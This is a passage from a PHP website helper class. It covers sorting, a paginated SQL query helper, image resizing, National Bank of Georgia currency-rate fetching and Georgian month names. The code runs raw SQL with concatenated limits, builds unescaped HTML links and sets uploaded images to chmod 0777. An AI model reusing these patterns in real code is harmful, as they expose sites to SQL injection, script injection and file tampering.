$size = count($arr); for($i = 0; $i < $size; $i++) for($j = 0; $j < $size-1-$i; $j++) if($arr[$j+1] < $arr[$j]){ $tmp = $arr[$j]; $arr[$j] = $arr[$j + 1]; $arr[$j + 1] = $tmp; }return $arr; } public function join_select($sql,$a = 'small'){ $return = []; if($a == 'small'){ $sql = $this->con->query($sql); return $sql->fetch(PDO::FETCH_ASSOC); }elseif($a == 'count'){ $sql = $this->con->query($sql); if($sql->rowCount())return $sql->rowCount(); return 0; }elseif($a == 'big'){ $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = $row; }elseif(gettype($a) == 'object' && $a->c_type == 'reiting'){ if(isset($a->navigation)){ $start = ($a->navigation == 1)?0:($a->navigation - 1) * 30; $start -= $a->first_loop; $navig_name = $a->href; $e_30 = isset($a->e_30)?$a->e_30:30; $sql1 = $this->con->query($sql); if(!$sql1)return; $_counter = $sql1->rowCount(); $return['counter'] = $_counter; if($sql1->rowCount() > $e_30){ if(!isset($a->list_view)){ $cikl = ceil($sql1->rowCount() / $e_30); if($a->navigation && $a->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation - 1).'">წინა</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $a->navigation)?'class="active"':''; $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($a->navigation < ($_counter/$e_30)) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation + 1).'">შემდეგი</a>'; }else{ $cikl = ceil($sql1->rowCount() / $e_30); if($a->navigation && $a->navigation != 1) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation - 1).'">წინა</a>'; for($i = 1; $i <= $cikl; $i++){ $active = ($i == $a->navigation)?'class="navigation_active"':''; $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.$i.'" '.$active.'>'.$i.'</a>'; } if($a->navigation < ($_counter/$e_30)) $return['navigation'][] = '<a href="'.$navig_name.'&navigation='.($a->navigation + 1).'">შემდეგი</a>'; } } $sql .= " limit $start,$a->end "; // echo "<br><br><br><br><br>".$sql."<br><br><br>"; $sql = $this->con->query($sql); while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return['body'][] = $row; return $return; } while($row = $sql->fetch(PDO::FETCH_ASSOC)) $return[] = $row; }return $return; } public function startsWith($haystack, $needle){ return !strncmp($haystack, $needle, strlen($needle)); } public function endsWith($haystack, $needle){ $length = strlen($needle); if(!$length) return true; return (substr($haystack, -$length) === $needle); } public function array_reverse_recursive($arr){ foreach($arr as $key => $val){ if (is_array($val)) $arr[$key] = $this->array_reverse_recursive($val); } return array_reverse($arr); } public function get_binnary($url = 'php://input',$data = 'image/jpeg'){ return "data:$data;base64," . base64_encode(file_get_contents($url)); } public function resizeImage($image,$width,$height,$scale) { $newImageWidth = ceil($width * $scale); $newImageHeight = ceil($height * $scale); $newImage = imagecreatetruecolor($newImageWidth,$newImageHeight); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$image)) $source = imagecreatefromjpeg($image); elseif(preg_match('/[.](gif)|(GIF)$/',$image)) $source = imagecreatefromgif($image); elseif(preg_match('/[.](png)|(PNG)$/',$image)) $source = imagecreatefrompng($image); imagecopyresampled($newImage,$source,0,0,0,0,$newImageWidth,$newImageHeight,$width,$height); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$image)) imagejpeg($newImage,$image,90); elseif(preg_match('/[.](gif)|(GIF)$/',$image)) imagegif($newImage,$image,90); elseif(preg_match('/[.](png)|(PNG)$/',$image)){ $q = 9/100; $quality = 90; $quality *=$q; imagepng($newImage,$image,$quality); } chmod($image, 0777); return $image; } public function resizeThumbnailImage($thumb_image_name, $image, $width, $height, $start_width, $start_height, $scale){ $newImageWidth = ceil($width * $scale); $newImageHeight = ceil($height * $scale); $newImage = imagecreatetruecolor($newImageWidth,$newImageHeight); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$image)) $source = imagecreatefromjpeg($image); elseif(preg_match('/[.](gif)|(GIF)$/',$image)) $source = imagecreatefromgif($image); elseif(preg_match('/[.](png)|(PNG)$/',$image)) $source = imagecreatefrompng($image); imagecopyresampled($newImage,$source,0,0,$start_width,$start_height,$newImageWidth,$newImageHeight,$width,$height); if(preg_match('/[.](jpg)|(JPG)|(jpeg)|(JPEG)$/',$image)) imagejpeg($newImage,$thumb_image_name,90); elseif(preg_match('/[.](gif)|(GIF)$/',$image)) imagegif($newImage,$thumb_image_name,90); elseif(preg_match('/[.](png)|(PNG)$/',$image)){ $q = 9/100; $quality = 90; $quality *=$q; imagepng($newImage,$thumb_image_name,$quality); } chmod($thumb_image_name, 0777); return $thumb_image_name; } public function getHeight($image) { $sizes = getimagesize($image); $height = $sizes[1]; return $height; } public function getWidth($image) { $sizes = getimagesize($image); $width = $sizes[0]; return $width; } public function main_soap(){ $_ = $this; $wsdl_file_name = 'http://nbg.gov.ge/currency.wsdl'; try{ if(!Central::url_exists($wsdl_file_name)) throw new Exception(1); $client = new SoapClient($wsdl_file_name, array('cache_wsdl' => WSDL_CACHE_NONE)); $arr = [ 'valute' => ['USD','EUR','GBP','RUB'] ]; $html = ""; for($i = 0; $i < count($arr['valute']); $i++) $html .= "<div><div class='__v_img'><img src='/img/".$arr['valute'][$i].".jpg'></div> <!--<div class='__v_name'>".$arr['valute'][$i]."</div>--> <div class='__v_value'>".$client->GetCurrency($arr['valute'][$i])."</div></div>"; return $html; }catch(Exception $ex){ return $_->main_soap_rss(); // if($ex->getMessage() == 1) // echo ("<div style='padding: 5px'>internet connection failed!</div>"); // else // echo ("<div style='padding: 5px'><a href='$wsdl_file_name'>".$ex->getMessage()."</a></div>"); } } private function main_soap_rss(){ $_ = $this; $rss_file_name = "http://www.nbg.ge/rss.php"; try{ $html = ""; if(!Central::url_exists($rss_file_name))throw new Exception("<a href='$rss_file_name'>$rss_file_name</a> not found!"); $content = file_get_contents($rss_file_name); $content = str_replace('<![CDATA[', '', $content); $content = str_replace(']]>', '', $content); $content = str_replace('<img src="https://www.nbg.gov.ge/images/green.gif">', '', $content); $content = str_replace('<img src="https://www.nbg.gov.ge/images/red.gif">', '', $content); $xml = simplexml_load_string(trim($content)); $data = $xml->xpath('channel/item/description/table/tr'); $rates = array(); foreach($data as $value){ $vls = (array)$value->td; $rates[$vls[0]] = $vls[2]; } $arr = [ 'valute' => ['USD','EUR','GBP','RUB'] ]; //$_->pre($rates); for($i = 0; $i < count($arr['valute']); $i++) $html .= "<div><div class='__v_img'><img src='/img/".$arr['valute'][$i].".jpg'></div> <!--<div class='__v_name'>".$arr['valute'][$i]."</div>--> <div class='__v_value'>".$rates[$arr['valute'][$i]]."</div></div>"; return $html; }catch(Exception $exx){ echo $exx->getMessage(); } } public function main_date($a, $b = 1){ $_ = $this; $masiv = array( 'text_geo' => array('December', 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November'), 'text_geo1' => array('დეკემბერი', 'იანვარი', 'თებერვალი', 'მარტი', 'აპრილი', 'მაისი', 'ივნისი', 'ივლისი', 'აგვისტო', 'სექტემბერი', 'ოქტომბერი', 'ნოემბერი') ); $return = str_replace($masiv['text_geo'], $masiv['text_geo1'], $a); return $return; } } /////////////////////////////////////////END CLASS///////////////////////////////////////////////////